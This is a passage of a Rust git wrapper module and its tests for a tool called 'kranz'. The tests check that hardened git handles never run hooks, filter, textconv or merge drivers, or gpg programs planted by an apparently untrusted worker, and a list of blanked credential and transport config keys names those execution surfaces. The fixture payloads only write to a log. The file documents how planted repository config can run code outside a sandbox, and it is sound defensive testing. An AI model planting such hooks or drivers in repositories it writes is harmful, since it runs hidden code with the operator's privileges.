2395/// `-c` entry that blanks a planted `core.sshCommand`.
2396const SSH_COMMAND_OVERRIDE: &str = "core.sshCommand=";
2397
2398impl ExecFlags {
2399    /// The `-c key=value` pairs this mode keeps out of `flags` (which is
2400    /// always a flat `["-c", kv, "-c", kv, ...]`).
2401    fn select(self, flags: &[String]) -> Vec<String> {
2402        let drop = |kv: &str| match self {
2403            ExecFlags::All => false,
2404            ExecFlags::NetworkSafe => kv == CREDENTIAL_HELPER_RESET || kv == SSH_COMMAND_OVERRIDE,
2405            ExecFlags::SeeingFsmonitor => kv == "core.fsmonitor=",
2406            ExecFlags::None => true,
2407        };
2408        let mut kept = Vec::with_capacity(flags.len());
2409        let mut i = 0;
2410        while i + 1 < flags.len() {
2411            let (flag, kv) = (&flags[i], &flags[i + 1]);
2412            i += 2;
2413            if flag == "-c" && drop(kv) {
2414                continue;
2415            }
2416            kept.push(flag.clone());
2417            kept.push(kv.clone());
2418        }
2419        kept
2420    }
2421}
2422
2423/// Turn a finished git `Output` into stdout-on-success / [`EngineError::Git`].
2424fn check_status(args: &[OsString], out: Output) -> Result<String> {
2425    if out.status.success() {
2426        Ok(String::from_utf8_lossy(&out.stdout).into_owned())
2427    } else {
2428        Err(EngineError::Git(format!(
2429            "git {} failed ({}): {}",
2430            render_args(args),
2431            out.status,
2432            failure_detail(&out)
2433        )))
2434    }
2435}
2436
2437/// Human-readable rendering of an argument vector for error context.
2438fn render_args(args: &[OsString]) -> String {
2439    args.iter()
2440        .map(|a| a.to_string_lossy().into_owned())
2441        .collect::<Vec<_>>()
2442        .join(" ")
2443}
2444
2445/// Best error detail available: stderr, falling back to stdout (git prints
2446/// e.g. "nothing to commit" on stdout).
2447fn failure_detail(out: &Output) -> String {
2448    let stderr = String::from_utf8_lossy(&out.stderr).trim().to_string();
2449    let stdout = String::from_utf8_lossy(&out.stdout).trim().to_string();
2450    match (stderr.is_empty(), stdout.is_empty()) {
2451        (false, true) => stderr,
2452        (true, false) => stdout,
2453        (false, false) => format!("{stderr} | {stdout}"),
2454        (true, true) => "no output".to_string(),
2455    }
2456}
2457
2458#[cfg(test)]
2459mod tests {
2460    use super::*;
2461
2462    fn test_git(root: &Path, args: &[&str]) -> Output {
2463        Command::new("git")
2464            .args(args)
2465            .current_dir(root)
2466            .output()
2467            .expect("spawn git")
2468    }
2469
2470    fn init_test_repo(root: &Path) {
2471        if !test_git(root, &["init", "-b", "main"]).status.success() {
2472            assert!(test_git(root, &["init"]).status.success());
2473        }
2474        assert!(test_git(root, &["config", "user.name", "kranz-test"])
2475            .status
2476            .success());
2477        assert!(
2478            test_git(root, &["config", "user.email", "test@kranz.local"])
2479                .status
2480                .success()
2481        );
2482    }
2483
2484    fn commit_test_repo_at(root: &Path, message: &str, timestamp: &str) {
2485        assert!(test_git(root, &["add", "-A"]).status.success());
2486        let output = Command::new("git")
2487            .args(["-c", "commit.gpgsign=false", "commit", "-m", message])
2488            .current_dir(root)
2489            .env("GIT_AUTHOR_DATE", timestamp)
2490            .env("GIT_COMMITTER_DATE", timestamp)
2491            .output()
2492            .expect("spawn git commit");
2493        assert!(output.status.success(), "git commit failed: {output:?}");
2494    }
2495
2496    #[test]
2497    fn path_changed_since_excludes_verification_day_and_detects_later_commit() {
2498        let dir = tempfile::tempdir().unwrap();
2499        init_test_repo(dir.path());
2500        std::fs::write(dir.path().join("evidence.md"), "v1\n").unwrap();
2501        commit_test_repo_at(dir.path(), "seed", "2026-07-08T12:00:00Z");
2502        let repo = GitRepo::open(dir.path()).unwrap();
2503
2504        assert!(!repo
2505            .path_changed_since("evidence.md", "2026-07-08")
2506            .unwrap());
2507
2508        std::fs::write(dir.path().join("evidence.md"), "v2\n").unwrap();
2509        // One hour into the next UTC day is deliberately still the previous
2510        // calendar day in American timezones. The probe must not inherit the
2511        // host timezone when it interprets the verification date.
2512        commit_test_repo_at(dir.path(), "later", "2026-07-09T01:00:00Z");
2513        assert!(repo
2514            .path_changed_since("evidence.md", "2026-07-08")
2515            .unwrap());
2516        assert!(!repo
2517            .path_changed_since("evidence.md", "2026-07-09")
2518            .unwrap());
2519    }
2520
2521    #[test]
2522    fn path_changed_since_refuses_invalid_inputs_and_propagates_git_failure() {
2523        let dir = tempfile::tempdir().unwrap();
2524        init_test_repo(dir.path());
2525        std::fs::write(dir.path().join("evidence.md"), "uncommitted\n").unwrap();
2526        let repo = GitRepo::open(dir.path()).unwrap();
2527
2528        assert!(repo
2529            .path_changed_since("../outside.md", "2026-07-08")
2530            .is_err());
2531        assert!(repo
2532            .path_changed_since("evidence.md", "not-a-date")
2533            .is_err());
2534        assert!(repo
2535            .path_changed_since("evidence.md", "2026-07-08")
2536            .is_err());
2537    }
2538
2539    /// git on Windows cannot parse verbatim (`\\?\C:\...`) paths — the
2540    /// prefix is stripped for git arguments (worktree add/remove). On all
2541    /// platforms a plain path passes through untouched; the verbatim strip
2542    /// itself is cfg(windows) and oracled by the windows-latest CI leg.
2543    #[test]
2544    fn git_path_arg_passes_plain_paths_through() {
2545        let plain = Path::new(if cfg!(windows) {
2546            r"C:\repo\wt"
2547        } else {
2548            "/repo/wt"
2549        });
2550        assert_eq!(git_path_arg(plain), plain);
2551    }
2552
2553    #[cfg(windows)]
2554    #[test]
2555    fn git_path_arg_strips_the_verbatim_prefix() {
2556        let verbatim = Path::new(r"\\?\C:\repo\wt");
2557        assert_eq!(git_path_arg(verbatim), Path::new(r"C:\repo\wt"));
2558        // UNC shares are NOT collapsed.
2559        let unc = Path::new(r"\\?\UNC\share\repo");
2560        assert_eq!(git_path_arg(unc), unc);
2561    }
2562
2563    // -----------------------------------------------------------------------
2564    // 13th-pass review (P1): the with_hooks_disabled countermeasure covers
2565    // the WHOLE executable git-config surface — planted filter drivers and
2566    // gpg.program, not just hooks/fsmonitor. Fixture idiom mirrors
2567    // validator_integrity's planted-hook test: prove the fixture is LIVE
2568    // with an ordinary handle, then prove the verification handle never
2569    // executes the payload. Unix-only: the payloads are /bin/sh scripts.
2570    // -----------------------------------------------------------------------
2571
2572    /// A repo with an initial commit and a scripted payload on disk; returns
2573    /// the repo root (inside `dir`), the payload script path, and the
2574    /// invocation log path the payload appends to when it runs.
2575    #[cfg(unix)]
2576    fn git_exec_config_repo(
2577        dir: &tempfile::TempDir,
2578        payload_body: &str,
2579    ) -> (PathBuf, PathBuf, PathBuf) {
2580        use std::os::unix::fs::PermissionsExt as _;
2581        let root = dir.path().join("repo");
2582        std::fs::create_dir_all(&root).unwrap();
2583        let log = dir.path().join("payload-invocations");
2584        let payload = dir.path().join("payload");
2585        std::fs::write(
2586            &payload,
2587            payload_body.replace("__LOG__", &log.display().to_string()),
2588        )
2589        .unwrap();
2590        std::fs::set_permissions(&payload, std::fs::Permissions::from_mode(0o755)).unwrap();
2591        let git = |args: &[&str]| {
2592            let out = Command::new("git")
2593                .args(args)
2594                .current_dir(&root)
2595                .output()
2596                .expect("spawn git");
2597            assert!(out.status.success(), "git {args:?} failed: {out:?}");
2598        };
2599        git(&["init", "-q"]);
2600        git(&["config", "user.email", "t@t"]);
2601        git(&["config", "user.name", "t"]);
2602        std::fs::write(root.join("seed.txt"), "seed\n").unwrap();
2603        git(&["add", "seed.txt"]);
2604        git(&["commit", "-qm", "seed"]);
2605        (root, payload, log)
2606    }
2607
2608    /// A planted `filter.<name>.clean` driver (repo config) armed by a
2609    /// worker-writable `.gitattributes` must never execute on the engine's
2610    /// checkpoint `git add`/`git commit` — and the add must still stage the
2611    /// bytes VERBATIM (the armed attribute is deliverable content, not
2612    /// something the countermeasure may strip). The driver name is DOTTED
2613    /// (`weird.name`) to cover the subsection round-trip in
2614    /// `configured_filter_drivers`.
2615    #[cfg(unix)]
2616    #[test]
2617    fn git_exec_config_planted_clean_filter_never_runs_on_checkpoint_add() {
2618        let dir = tempfile::tempdir().unwrap();
2619        let (root, payload, log) =
2620            git_exec_config_repo(&dir, "#!/bin/sh\necho clean-ran >> '__LOG__'\ncat\n");
2621        let git = |args: &[&str]| {
2622            Command::new("git")
2623                .args(args)
2624                .current_dir(&root)
2625                .output()
2626                .expect("spawn git")
2627        };
2628        // Plant: the driver in repo config, armed for *.txt by a
2629        // worker-writable attributes file.
2630        assert!(git(&[
2631            "config",
2632            "filter.weird.name.clean",
2633            payload.to_str().unwrap()
2634        ])
2635        .status
2636        .success());
2637        std::fs::write(root.join(".gitattributes"), "*.txt filter=weird.name\n").unwrap();
2638
2639        // Fixture proof: an ORDINARY `git add` executes the planted driver —
2640        // then reset the log so any later invocation can only have come from
2641        // the engine's checkpoint.
2642        std::fs::write(root.join("probe.txt"), "probe\n").unwrap();
2643        assert!(git(&["add", "probe.txt"]).status.success());
2644        assert!(
2645            std::fs::read_to_string(&log)
2646                .map(|hits| !hits.is_empty())
2647                .unwrap_or(false),
2648            "fixture: ordinary git add runs the planted clean filter"
2649        );
2650        let _ = std::fs::remove_file(&log);
2651
2652        // The engine's checkpoint path (commit_dirty_paths is what the pool
2653        // checkpoint and the sequential dirty-tree turn call): the driver
2654        // must NOT execute, and the staged bytes must be verbatim. The handle
2655        // is a PLAIN `GitRepo::open` — hardening is the default now (audit
2656        // H3), and this test is what proves the default carries it.
2657        let repo = GitRepo::open(&root).unwrap();
2658        std::fs::write(root.join("deliverable.txt"), "exact bytes ✓\n").unwrap();
2659        match repo.commit_dirty_paths("checkpoint").unwrap() {
2660            CheckpointOutcome::Committed(_) => {}
2661            other => panic!("checkpoint must commit, got {other:?}"),
2662        }
2663        assert!(
2664            !log.exists(),
2665            "the checkpoint's git add must never execute the planted clean filter: {}",
2666            std::fs::read_to_string(&log).unwrap_or_default()
2667        );
2668        let shown = repo.show_file("HEAD", "deliverable.txt").unwrap().unwrap();
2669        assert_eq!(
2670            shown,
2671            "exact bytes ✓\n".as_bytes(),
2672            "the add stages the raw bytes verbatim — the armed attribute is content, not a hook"
2673        );
2674        // Re-wrapping an already-verified handle is idempotent: the same
2675        // argv segment, never a duplicated or re-enumerated one.
2676        let rewrapped = repo.with_hooks_disabled().unwrap();
2677        assert_eq!(repo.exec_disable_flags, rewrapped.exec_disable_flags);
2678    }
2679
2680    #[cfg(unix)]
2681    #[test]
2682    fn git_exec_config_planted_textconv_never_runs_on_checkpoint_diff() {
2683        let dir = tempfile::tempdir().unwrap();
2684        let (root, payload, log) = git_exec_config_repo(
2685            &dir,
2686            "#!/bin/sh\necho textconv-ran >> '__LOG__'\ncat \"$1\"\n",
2687        );
2688        let raw = GitRepo::open_unhardened(&root).unwrap();
2689        raw.run(&["config", "diff.hostile.textconv", payload.to_str().unwrap()])
2690            .unwrap();
2691        std::fs::write(root.join(".gitattributes"), "*.txt diff=hostile\n").unwrap();
2692        std::fs::write(root.join("seed.txt"), "modified\n").unwrap();
2693        raw.diff_head().unwrap();
2694        assert!(
2695            log.exists(),
2696            "ordinary diff must execute the fixture converter"
2697        );
2698        std::fs::remove_file(&log).unwrap();
2699
2700        let guarded = raw.with_hooks_disabled().unwrap();
2701        assert!(guarded.diff_head().unwrap().contains("+modified"));
2702        assert!(matches!(
2703            guarded.commit_dirty_paths("checkpoint").unwrap(),
2704            CheckpointOutcome::Committed(_)
2705        ));
2706        assert!(!log.exists(), "the engine ran the planted converter");
2707        assert_eq!(
2708            guarded.show_file("HEAD", "seed.txt").unwrap().unwrap(),
2709            b"modified\n"
2710        );
2711    }
2712
2713    #[cfg(unix)]
2714    #[test]
2715    fn git_exec_config_planted_merge_driver_fails_closed() {
2716        let dir = tempfile::tempdir().unwrap();
2717        let (root, payload, log) =
2718            git_exec_config_repo(&dir, "#!/bin/sh\necho merge-ran >> '__LOG__'\nexit 0\n");
2719        let raw = GitRepo::open_unhardened(&root).unwrap();
2720        raw.run(&["checkout", "-b", "other"]).unwrap();
2721        std::fs::write(root.join("seed.txt"), "other\n").unwrap();
2722        raw.run(&["commit", "-am", "other"]).unwrap();
2723        raw.run(&["checkout", "-b", "left", "HEAD~1"]).unwrap();
2724        std::fs::write(root.join("seed.txt"), "left\n").unwrap();
2725        raw.run(&["commit", "-am", "left"]).unwrap();
2726        std::fs::write(root.join(".gitattributes"), "*.txt merge=hostile.name\n").unwrap();
2727        raw.run(&[
2728            "config",
2729            "merge.hostile.name.driver",
2730            payload.to_str().unwrap(),
2731        ])
2732        .unwrap();
2733        let guarded = raw.with_hooks_disabled().unwrap();
2734        assert!(guarded.run(&["merge", "--no-edit", "other"]).is_err());
2735        assert!(
2736            !log.exists(),
2737            "engine merge executed a worker-authored driver"
2738        );
2739        raw.run(&["merge", "--abort"]).unwrap();
2740        raw.run(&["merge", "--no-edit", "other"]).unwrap();
2741        assert!(
2742            log.exists(),
2743            "ordinary merge must execute the fixture driver"
2744        );
2745    }
2746
2747    /// A planted `gpg.program` with signing forced on by repo config
2748    /// (`commit.gpgSign=true`) must never execute on the engine's commit:
2749    /// `commit.gpgSign=false` turns signing off and `gpg.program=/bin/false`
2750    /// makes the payload inert even if signing is forced back on.
2751    #[cfg(unix)]
2752    #[test]
2753    fn git_exec_config_planted_gpg_program_never_runs_when_signing_forced() {
2754        let dir = tempfile::tempdir().unwrap();
2755        let (root, payload, log) =
2756            git_exec_config_repo(&dir, "#!/bin/sh\necho gpg-ran >> '__LOG__'\nexit 1\n");
2757        let git = |args: &[&str]| {
2758            Command::new("git")
2759                .args(args)
2760                .current_dir(&root)
2761                .output()
2762                .expect("spawn git")
2763        };
2764        assert!(git(&["config", "commit.gpgSign", "true"]).status.success());
2765        assert!(git(&["config", "gpg.program", payload.to_str().unwrap()])
2766            .status
2767            .success());
2768
2769        // Fixture proof: an ORDINARY commit invokes the planted signer (and
2770        // fails because the payload exits 1) — the repo config really forces
2771        // signing. Then reset the log.
2772        std::fs::write(root.join("probe.txt"), "probe\n").unwrap();
2773        assert!(git(&["add", "probe.txt"]).status.success());
2774        assert!(
2775            !git(&["commit", "-qm", "probe"]).status.success(),
2776            "fixture: signing with the failing payload must fail the commit"
2777        );
2778        assert!(
2779            std::fs::read_to_string(&log)
2780                .map(|hits| !hits.is_empty())
2781                .unwrap_or(false),
2782            "fixture: ordinary git commit runs the planted gpg.program"
2783        );
2784        let _ = std::fs::remove_file(&log);
2785
2786        // The engine's commit runs with the payload neutralized: it commits
2787        // unsigned and the signer never fires. Plain `GitRepo::open` again —
2788        // the default path is the one that has to hold.
2789        let repo = GitRepo::open(&root).unwrap();
2790        match repo.commit_dirty_paths("checkpoint").unwrap() {
2791            CheckpointOutcome::Committed(_) => {}
2792            other => panic!("checkpoint must commit, got {other:?}"),
2793        }
2794        assert!(
2795            !log.exists(),
2796            "the engine's commit must never execute the planted gpg.program: {}",
2797            std::fs::read_to_string(&log).unwrap_or_default()
2798        );
2799        // The commit really landed (ordinary add/commit behavior unchanged).
2800        assert_eq!(repo.commits_between("HEAD~1", "HEAD").unwrap().len(), 1);
2801    }
2802
2803    // -----------------------------------------------------------------------
2804    // Audit 2026-09-01 H1/H3: hardening is the DEFAULT, not an opt-in.
2805    //
2806    // The countermeasure was well built and applied at five of twenty-one
2807    // sites. The engine's checkpoint commits, the integration-worktree
2808    // handle, checkout, tag and `push_mission_branch` all opened plain
2809    // handles in the tree the worker controls, so a planted
2810    // `.git/hooks/pre-commit` executed outside every sandbox with the
2811    // engine's full ambient environment.
2812    // -----------------------------------------------------------------------
2813
2814    /// Plant an executable `.git/hooks/<name>` that appends to `log`.
2815    #[cfg(unix)]
2816    fn plant_hook(root: &Path, name: &str, log: &Path) {
2817        use std::os::unix::fs::PermissionsExt as _;
2818        let hooks = root.join(".git").join("hooks");
2819        std::fs::create_dir_all(&hooks).unwrap();
2820        let hook = hooks.join(name);
2821        std::fs::write(
2822            &hook,
2823            format!("#!/bin/sh\necho {name}-ran >> '{}'\n", log.display()),
2824        )
2825        .unwrap();
2826        std::fs::set_permissions(&hook, std::fs::Permissions::from_mode(0o755)).unwrap();
2827    }
2828
2829    /// A worker-planted `pre-commit` hook must not run on the checkpoint
2830    /// commit of a handle opened the ORDINARY way. The unhardened handle is
2831    /// the fixture proof that the hook is live: without it this test would
2832    /// pass on a repo where hooks simply never fire.
2833    #[cfg(unix)]
2834    #[test]
2835    fn default_open_never_runs_a_planted_pre_commit_hook() {
2836        let dir = tempfile::tempdir().unwrap();
2837        let (root, _payload, log) = git_exec_config_repo(&dir, "#!/bin/sh\ncat\n");
2838        plant_hook(&root, "pre-commit", &log);
2839
2840        // Fixture proof: the explicitly UNHARDENED handle runs it.
2841        let unhardened = GitRepo::open_unhardened(&root).unwrap();
2842        std::fs::write(root.join("probe.txt"), "probe\n").unwrap();
2843        unhardened.commit_dirty_paths("probe").unwrap();
2844        assert!(
2845            log.exists(),
2846            "fixture: an unhardened handle must run the planted pre-commit hook"
2847        );
2848        std::fs::remove_file(&log).unwrap();
2849
2850        // The default: hardened, so the hook never fires.
2851        let repo = GitRepo::open(&root).unwrap();
2852        std::fs::write(root.join("deliverable.txt"), "x\n").unwrap();
2853        match repo.commit_dirty_paths("checkpoint").unwrap() {
2854            CheckpointOutcome::Committed(_) => {}
2855            other => panic!("checkpoint must commit, got {other:?}"),
2856        }
2857        assert!(
2858            !log.exists(),
2859            "GitRepo::open must be hardened by default: {}",
2860            std::fs::read_to_string(&log).unwrap_or_default()
2861        );
2862    }
2863
2864    /// The same for `push_mission_branch`, which `kranz exec --push` calls on
2865    /// the tree the worker just wrote (`pre-push`, and `core.sshCommand`).
2866    /// The push itself fails — there is no reachable remote — but the hook
2867    /// question is decided before that: git runs `pre-push` only after the
2868    /// connection, so what this pins is that the handle carrying the push is
2869    /// the hardened one.
2870    #[cfg(unix)]
2871    #[test]
2872    fn push_mission_branch_runs_on_a_hardened_handle() {
2873        let dir = tempfile::tempdir().unwrap();
2874        let (root, _payload, _log) = git_exec_config_repo(&dir, "#!/bin/sh\ncat\n");
2875        let repo = GitRepo::open(&root).unwrap();
2876        assert!(
2877            repo.exec_disable_flags.is_some(),
2878            "the handle cli/exec.rs pushes with must carry the neutralization segment"
2879        );
2880        // The guard still refuses a non-mission ref before spawning git.
2881        assert!(repo.push_mission_branch("origin", "main").is_err());
2882    }
2883
2884    /// `with_hooks_disabled` on an already-hardened handle is an idempotent
2885    /// clone: the same argv segment, never a second enumeration. Existing
2886    /// call sites (merge, validator snapshot/integrity) keep reading as the
2887    /// assertions they are.
2888    #[test]
2889    fn with_hooks_disabled_is_idempotent_on_the_default_handle() {
2890        let dir = tempfile::tempdir().unwrap();
2891        init_test_repo(dir.path());
2892        let repo = GitRepo::open(dir.path()).unwrap();
2893        assert!(repo.exec_disable_flags.is_some());
2894        let rewrapped = repo.with_hooks_disabled().unwrap();
2895        assert_eq!(repo.exec_disable_flags, rewrapped.exec_disable_flags);
2896
2897        let plain = GitRepo::open_unhardened(dir.path()).unwrap();
2898        assert!(
2899            plain.exec_disable_flags.is_none(),
2900            "open_unhardened is the explicit escape hatch"
2901        );
2902        assert_eq!(
2903            plain.with_hooks_disabled().unwrap().exec_disable_flags,
2904            repo.exec_disable_flags,
2905            "opting in by hand must reach the same segment the default now carries"
2906        );
2907    }
2908
2909    /// A LOCAL hardened invocation nulls the user- and system-scope config
2910    /// files, which the enumerated `-c` segment cannot cover (the enumeration
2911    /// reads the REPO's config, so a driver armed only in `~/.gitconfig`
2912    /// would not be in the list). The identity reads are the documented
2913    /// exception.
2914    #[test]
2915    fn hardened_invocations_null_user_and_system_config() {
2916        let empty = empty_global_config_path().unwrap();
2917        assert_eq!(
2918            hardened_config_env(UserConfig::Ignored).unwrap(),
2919            vec![
2920                ("GIT_CONFIG_NOSYSTEM", OsString::from("1")),
2921                ("GIT_CONFIG_GLOBAL", empty.as_os_str().to_os_string()),
2922            ]
2923        );
2924        assert!(
2925            hardened_config_env(UserConfig::Visible).unwrap().is_empty(),
2926            "identity resolution must still see the operator's ~/.gitconfig"
2927        );
2928    }
2929
2930    /// Audit F-11: a NETWORK invocation leaves the operator's `~/.gitconfig`
2931    /// in force — `GIT_CONFIG_GLOBAL` is never set for it, so the credential
2932    /// helper, the `insteadOf` convention and the corporate `http.proxy` an
2933    /// https push depends on all still resolve. The system scope stays off,
2934    /// and the argv segment drops exactly the two entries that break a real
2935    /// remote.
2936    #[test]
2937    fn network_invocations_keep_the_operators_global_config() {
2938        let env = hardened_config_env(UserConfig::KeptForNetwork).unwrap();
2939        assert_eq!(env, vec![("GIT_CONFIG_NOSYSTEM", OsString::from("1"))]);
2940        assert!(
2941            !env.iter().any(|(key, _)| *key == "GIT_CONFIG_GLOBAL"),
2942            "nulling the user scope on a push is what F-11 reported as broken"
2943        );
2944
2945        let flags: Vec<String> = [
2946            "-c",
2947            "core.hooksPath=",
2948            "-c",
2949            CREDENTIAL_HELPER_RESET,
2950            "-c",
2951            SSH_COMMAND_OVERRIDE,
2952            "-c",
2953            "core.askPass=",
2954        ]
2955        .iter()
2956        .map(|s| s.to_string())
2957        .collect();
2958        assert_eq!(
2959            ExecFlags::NetworkSafe.select(&flags),
2960            vec!["-c", "core.hooksPath=", "-c", "core.askPass="],
2961            "an empty credential.helper resets the operator's own helper, and an \
2962             empty core.sshCommand makes git exec the empty string"
2963        );
2964        assert_eq!(ExecFlags::All.select(&flags), flags);
2965        assert!(ExecFlags::None.select(&flags).is_empty());
2966    }
2967
2968    /// Audit F-12: `GIT_CONFIG_GLOBAL` points at an EMPTY REGULAR FILE this
2969    /// process created, on every platform — not at `/dev/null` or the
2970    /// never-verified Windows `NUL`, where a git that refuses the path would
2971    /// fail every engine git call rather than degrade.
2972    #[test]
2973    fn the_nulled_global_config_is_an_empty_file_the_engine_owns() {
2974        let path = empty_global_config_path().unwrap();
2975        let meta = std::fs::metadata(path).expect("the empty global config must exist");
2976        assert!(meta.is_file(), "must be a regular file, not a device");
2977        assert_eq!(meta.len(), 0, "must be empty");
2978        // Cached: the same path for the life of the process.
2979        assert_eq!(path, empty_global_config_path().unwrap());
2980        #[cfg(unix)]
2981        {
2982            use std::os::unix::fs::PermissionsExt as _;
2983            assert_eq!(meta.permissions().mode() & 0o777, 0o600);
2984        }
2985    }
2986
2987    /// Audit F-10: the neutralization segment covers the keys that matter on
2988    /// the one path the audit named as newly exposed. `url.*.insteadOf` is
2989    /// deliberately absent — see `build_exec_disable_flags`, blanking a
2990    /// multi-valued key ARMS a catch-all rewrite instead of removing one.
2991    #[test]
2992    fn the_flag_segment_covers_the_credential_and_transport_surfaces() {
2993        let dir = tempfile::tempdir().unwrap();
2994        init_test_repo(dir.path());
2995        let repo = GitRepo::open(dir.path()).unwrap();
2996        let flags = repo.exec_disable_flags.clone().unwrap();
2997        for expected in [
2998            "credential.helper=",
2999            "core.sshCommand=",
3000            "core.askPass=",
3001            "core.editor=",
3002            "sequence.editor=",
3003            "uploadpack.packObjectsHook=",
3004            "protocol.ext.allow=never",
3005        ] {
3006            assert!(
3007                flags.iter().any(|f| f == expected),
3008                "the hardened segment must carry {expected}: {flags:?}"
3009            );
3010        }
3011        assert!(
3012            !flags.iter().any(|f| f.starts_with("url.")),
3013            "an empty insteadOf matches EVERY url and rewrites it to the base"
3014        );
3015    }
3016
3017    /// A remote whose config names a program to run on the far side is
3018    /// enumerated and blanked, the way filter drivers are. Both keys are
3019    /// single-valued, so the empty `-c` override really does replace the
3020    /// planted value.
3021    #[test]
3022    fn remote_transport_programs_are_enumerated_and_blanked() {
3023        let dir = tempfile::tempdir().unwrap();
3024        init_test_repo(dir.path());
3025        assert!(test_git(
3026            dir.path(),
3027            &["config", "remote.origin.uploadpack", "/tmp/payload"]
3028        )
3029        .status
3030        .success());
3031        let repo = GitRepo::open(dir.path()).unwrap();
3032        let flags = repo.exec_disable_flags.clone().unwrap();
3033        assert!(flags.iter().any(|f| f == "remote.origin.uploadpack="));
3034        assert!(flags.iter().any(|f| f == "remote.origin.receivepack="));
3035    }
3036
3037    /// The index-flag detections must still SEE the fsmonitor-valid tag.
3038    ///
3039    /// Neutralizing `core.fsmonitor=` on every invocation made `ls-files -f`
3040    /// print the ordinary `H` for a flag-hidden entry, so
3041    /// `has_normal_index_entry` — which `kranz ready` uses to refuse a
3042    /// `.gitignore` whose worktree bytes are hidden from diff and status —
3043    /// read the hidden file as clean. The carve-out in
3044    /// `run_seeing_fsmonitor` is what keeps the detection working; this test
3045    /// is what would catch it being removed.
3046    #[test]
3047    fn index_flag_detection_still_sees_fsmonitor_valid_on_a_hardened_handle() {
3048        let dir = tempfile::tempdir().unwrap();
3049        init_test_repo(dir.path());
3050        std::fs::write(dir.path().join("rules.txt"), "one\n").unwrap();
3051        assert!(test_git(dir.path(), &["add", "-A"]).status.success());
3052        assert!(Command::new("git")
3053            .args(["-c", "commit.gpgsign=false", "commit", "-qm", "seed"])
3054            .current_dir(dir.path())
3055            .output()
3056            .expect("spawn git commit")
3057            .status
3058            .success());
3059        assert!(test_git(dir.path(), &["config", "core.fsmonitor", "true"])
3060            .status
3061            .success());
3062        std::fs::write(dir.path().join("rules.txt"), "one\ntwo\n").unwrap();
3063        assert!(test_git(
3064            dir.path(),
3065            &["update-index", "--fsmonitor-valid", "rules.txt"]
3066        )
3067        .status
3068        .success());
3069
3070        let repo = GitRepo::open(dir.path()).unwrap();
3071        // Whether the bit sticks is git-version dependent; skip rather than
3072        // fail where this host's git drops it (the same pattern ready.rs
3073        // uses for its own fixture).
3074        let tagged = test_git(dir.path(), &["ls-files", "-f", "--", "rules.txt"]);
3075        if String::from_utf8_lossy(&tagged.stdout) != "h rules.txt\n" {
3076            eprintln!("this git does not honor --fsmonitor-valid; skipping");
3077            return;
3078        }
3079        assert!(
3080            !repo.has_normal_index_entry("rules.txt").unwrap(),
3081            "a hardened handle must still refuse an fsmonitor-hidden entry"
3082        );
3083        assert!(
3084            !repo.is_clean_tracked_strict().unwrap(),
3085            "the strict cleanliness check must see the flag too"
3086        );
3087    }
3088
3089    /// The identity carried into engine commits is unchanged by the
3090    /// hardening: `ensure_identity` pins whatever the operator's config
3091    /// resolves to into LOCAL scope, which a hardened invocation can still
3092    /// see. Without the pin, nulling `~/.gitconfig` would silently restamp
3093    /// every engine commit as `kranz <kranz@localhost>`.
3094    #[test]
3095    fn ensure_identity_pins_the_resolved_identity_into_local_scope() {
3096        let dir = tempfile::tempdir().unwrap();
3097        init_test_repo(dir.path());
3098        // init_test_repo sets a LOCAL identity; it must survive untouched.
3099        let repo = GitRepo::open(dir.path()).unwrap();
3100        repo.ensure_identity().unwrap();
3101        let (name, email) = repo.resolved_identity().unwrap();
3102        assert_eq!(name, "kranz-test");
3103        assert_eq!(email, "test@kranz.local");
3104        let local = test_git(dir.path(), &["config", "--local", "--get", "user.name"]);
3105        assert_eq!(String::from_utf8_lossy(&local.stdout).trim(), "kranz-test");
3106    }
3107}